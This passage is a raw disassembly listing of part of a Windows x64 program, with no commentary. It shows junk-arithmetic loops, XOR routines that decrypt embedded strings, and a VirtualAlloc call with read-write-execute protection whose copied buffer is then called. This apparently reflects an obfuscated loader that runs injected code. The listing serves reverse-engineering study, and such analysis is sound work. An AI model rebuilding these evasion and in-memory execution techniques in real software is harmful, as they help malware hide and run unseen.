xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xd30]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140162040
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.1401622e0
movaps xmm5, xmm0
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.1401622e0
movaps xmm1, xmm5
call fcn.1401198d0
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.1401622e0
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.1401622e0
call fcn.1401cf820
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1060]
call fcn.1401321c0
nop
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0x1060]
call fcn.140119840
lea rcx, [rsp + 0xec8]
call fcn.140119a50
lea rcx, [rsp + 0xec8]
call fcn.140158e60
nop
movdqa xmmword [rsp + 0x790], xmm6
lea r8, [rsp + 0x790]
mov rdx, qword [rsp + 0xed0]
mov rcx, qword [rsp + 0xec8]
call fcn.140162360
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xec8]
call fcn.140119950
mov rdx, qword [rsp + 0xed0]
mov rcx, qword [rsp + 0xec8]
call fcn.1401623c0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140162040
mov ebx, eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140162040
mov r8d, ebx
mov edx, eax
call fcn.140119a20
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x140153c9a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
test eax, eax
jne 0x140153cbf
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140153cce
call fcn.140162040
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.1401622e0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x9c60]
test bl, 1
jne 0x140153d4b
lea rcx, [rsp + 0xc40]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140153d6d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xdf0]
call fcn.1401622e0
addsd xmm0, xmm13
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140153ce0
sub rdi, 1
jne 0x140153cd3
lea rcx, [rsp + 0xec8]
call fcn.140158e00
nop
lea rcx, [rsp + 0x1060]
call fcn.1401348f0
sub r12, 1
jne 0x140153a90
lea rcx, [rsp + 0x550]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x2b8]
call fcn.140119a00
test al, al
js 0x140153a80
mov r12d, dword [0x1402000f8]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xd30]
call fcn.140158d10
lea rcx, [rsp + 0xf48]
call fcn.140119a50
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf48]
call fcn.14011a1f0
nop
mov ecx, r14d
mov rax, qword [0x140206600]
test rax, rax
je 0x140153e3f
cmp rax, r15
je 0x140153e2c
inc ecx
mov rax, qword [rsi + rcx*8 + 0x206600]
test rax, rax
jne 0x140153e16
jmp 0x140153e3f
mov eax, ecx
mov rdx, qword [rsi + rax*8 + 0x207930]
test rdx, rdx
jne 0x140153f1f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140153e66
mov rdx, r14
jmp 0x140153efe
mov rax, r15
mov rcx, rdx
mov r8, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140153e70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140206fb8]
mov qword [rsi + rax*8 + 0x206600], r15
mov qword [rsi + rax*8 + 0x207930], rdx
inc rax
mov qword [0x140206fb8], rax
lea rcx, [0x140126bb0]
call rdx
nop
mov rcx, qword [rsp + 0xf48]
xor rcx, qword [rsp + 0xf50]
mov qword [rsp + 0xf48], rcx
mov rax, qword [rsp + 0xf58]
mov qword [rax], rcx
movups xmm0, xmmword [0x1401eb9b0]
movups xmmword [rsp + 0x658], xmm0
movups xmm1, xmmword [str.sT__g]
movups xmmword [rsp + 0x668], xmm1
movups xmm0, xmmword [0x1401eb9d0]
movups xmmword [rsp + 0x678], xmm0
mov eax, dword [0x1401eb9e0]
mov dword [rsp + 0x688], eax
movzx eax, byte [0x1401eb9e4]
mov byte [rsp + 0x68c], al
mov r9d, r14d
mov edi, 6
lea ebx, [rdi + 0x19]
cmp r12d, 2
jl 0x1401541c5
movd xmm6, edi
movd xmm7, ebx
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x658]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140153fd0
cmp r9d, 0x35
jge 0x140154232
movsxd rax, r9d
lea r10, [rsp + 0x658]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x35
jl 0x1401541e0
lea rdx, [rsp + 0x658]
lea rcx, [rsp + 0x9a0]
call fcn.1401321c0
mov rcx, rax
call fcn.1401324d0
movups xmm0, xmmword [0x1401ebb90]
movups xmmword [rsp + 0x690], xmm0
movups xmm0, xmmword [0x1401ebbb0]
movups xmm1, xmmword [0x1401ebba0]
movups xmmword [rsp + 0x6b0], xmm0
movups xmmword [rsp + 0x6a0], xmm1
movups xmm0, xmmword [0x1401ebbd0]
movups xmm1, xmmword [0x1401ebbc0]
movups xmmword [rsp + 0x6d0], xmm0
movups xmmword [rsp + 0x6c0], xmm1
movups xmm0, xmmword [0x1401ebbf0]
movups xmm1, xmmword [0x1401ebbe0]
movups xmmword [rsp + 0x6f0], xmm0
movups xmmword [rsp + 0x6e0], xmm1
movzx eax, byte [0x1401ebc20]
movups xmm0, xmmword [0x1401ebc10]
movups xmm1, xmmword [0x1401ebc00]
mov byte [rsp + 0x720], al
movups xmmword [rsp + 0x710], xmm0
movups xmmword [rsp + 0x700], xmm1
mov r9d, r14d
cmp r12d, 2
jl 0x14015450b
movd xmm6, edi
movd xmm7, ebx
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x690]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x90
jl 0x140154310
cmp r9d, 0x91
jge 0x140154575
movsxd rax, r9d
lea r10, [rsp + 0x690]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x91
jl 0x140154520
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x980]
call fcn.1401321c0
nop
lea rcx, [rsp + 0x980]
call fcn.140122bd0
nop
lea rcx, [rsp + 0x980]
call fcn.1401348f0
call fcn.14017f98c
mov edx, eax
lea rcx, [rsp + 0xaff0]
call fcn.140158db0
mov dword [rsp + 0xc38], 0xffffff9c
mov dword [rsp + 0xc3c], 0x64
movaps xmm0, xmmword [0x1401ed2c0]
movups xmmword [rsp + 0xe00], xmm0
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x558]
call fcn.140119650
mov rax, qword [rsp + 0x558]
add rax, 0x5f5e100
mov qword [rsp + 0x2f0], rax
lea rcx, [rsp + 0xd18]
call fcn.140119a50
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd18], xmm0
mov qword [rsp + 0xd28], r14
lea rcx, [rsp + 0x560]
call fcn.1401621c0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2c0], rcx
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0xd18]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2c0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x560]
call fcn.140158cc0
lea rcx, [rsp + 0x568]
call fcn.1401621f0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2c8], rcx
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0xd18]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2c8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x568]
call fcn.140158cc0
lea rcx, [rsp + 0x570]
call fcn.140162220
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2d0], rcx
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0xd18]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2d0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x570]
call fcn.140158cc0
lea rcx, [rsp + 0x578]
call fcn.140162250
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2d8], rcx
lea rdx, [rsp + 0x2d8]
lea rcx, [rsp + 0xd18]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2d8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x578]
call fcn.140158cc0
lea rcx, [rsp + 0x580]
call fcn.140162280
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2e0], rcx
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0xd18]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2e0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x580]
call fcn.140158cc0
lea rcx, [rsp + 0x588]
call fcn.1401622b0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x2e8], rcx
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0xd18]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x2e8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x588]
call fcn.140158cc0
lea rcx, [rsp + 0x590]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x2f0]
call fcn.140119a00
test al, al
jns 0x140154b93
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xaff0]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140162040
mov rbx, qword [rsp + 0xd20]
sub rbx, qword [rsp + 0xd18]
sar rbx, 3
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140162040
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xd18]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140162040
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.1401622e0
movaps xmm5, xmm0
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.1401622e0
movaps xmm1, xmm5
call fcn.1401198d0
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.1401622e0
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.1401622e0
call fcn.1401cf820
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1040]
call fcn.1401321c0
nop
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0x1040]
call fcn.140119840
lea rcx, [rsp + 0xe38]
call fcn.140119a50
lea rcx, [rsp + 0xe38]
call fcn.140158e60
nop
movdqa xmmword [rsp + 0x830], xmm6
lea r8, [rsp + 0x830]
mov rdx, qword [rsp + 0xe40]
mov rcx, qword [rsp + 0xe38]
call fcn.140162360
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe38]
call fcn.140119950
mov rdx, qword [rsp + 0xe40]
mov rcx, qword [rsp + 0xe38]
call fcn.1401623c0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140162040
mov ebx, eax
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140162040
mov r8d, ebx
mov edx, eax
call fcn.140119a20
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x140154a5a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
test eax, eax
jne 0x140154a7f
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140154a8e
call fcn.140162040
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.1401622e0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0xaff0]
test bl, 1
jne 0x140154b0b
lea rcx, [rsp + 0xc38]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140154b2d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xe00]
call fcn.1401622e0
addsd xmm0, xmm13
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140154aa0
sub rdi, 1
jne 0x140154a93
lea rcx, [rsp + 0xe38]
call fcn.140158e00
nop
lea rcx, [rsp + 0x1040]
call fcn.1401348f0
sub r12, 1
jne 0x140154850
lea rcx, [rsp + 0x590]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x2f0]
call fcn.140119a00
test al, al
js 0x140154841
mov r12d, dword [0x1402000f8]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xd18]
call fcn.140158d10
movups xmm0, xmmword [0x1401ebce0]
movups xmmword [rsp + 0x8f0], xmm0
movups xmm1, xmmword [0x1401ebcf0]
movups xmmword [rsp + 0x900], xmm1
movups xmm0, xmmword [0x1401ebd00]
movups xmmword [rsp + 0x910], xmm0
movups xmm1, xmmword [0x1401ebd10]
movups xmmword [rsp + 0x920], xmm1
movups xmm0, xmmword [0x1401ebd20]
movups xmmword [rsp + 0x930], xmm0
movups xmm1, xmmword [0x1401ebd30]
movups xmmword [rsp + 0x940], xmm1
movups xmm0, xmmword [0x1401ebd40]
movups xmmword [rsp + 0x950], xmm0
movups xmm1, xmmword [0x1401ebd50]
movups xmmword [rsp + 0x960], xmm1
movsd xmm0, qword [0x1401ebd60]
movsd qword [rsp + 0x970], xmm0
movzx eax, byte [0x1401ebd68]
mov byte [rsp + 0x978], al
mov r9d, r14d
cmp r12d, 2
jl 0x140154e6b
mov eax, 6
movd xmm6, eax
mov eax, 0x1f
movd xmm7, eax
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x8f0]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x140154c70
cmp r9d, 0x89
jge 0x140154ed5
movsxd rax, r9d
lea r10, [rsp + 0x8f0]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x140154e80
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x598], rax
lea rcx, [rsp + 0xf60]
call fcn.140119a50
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf60]
call fcn.14011a1f0
nop
mov ecx, r14d
mov rax, qword [0x140205c50]
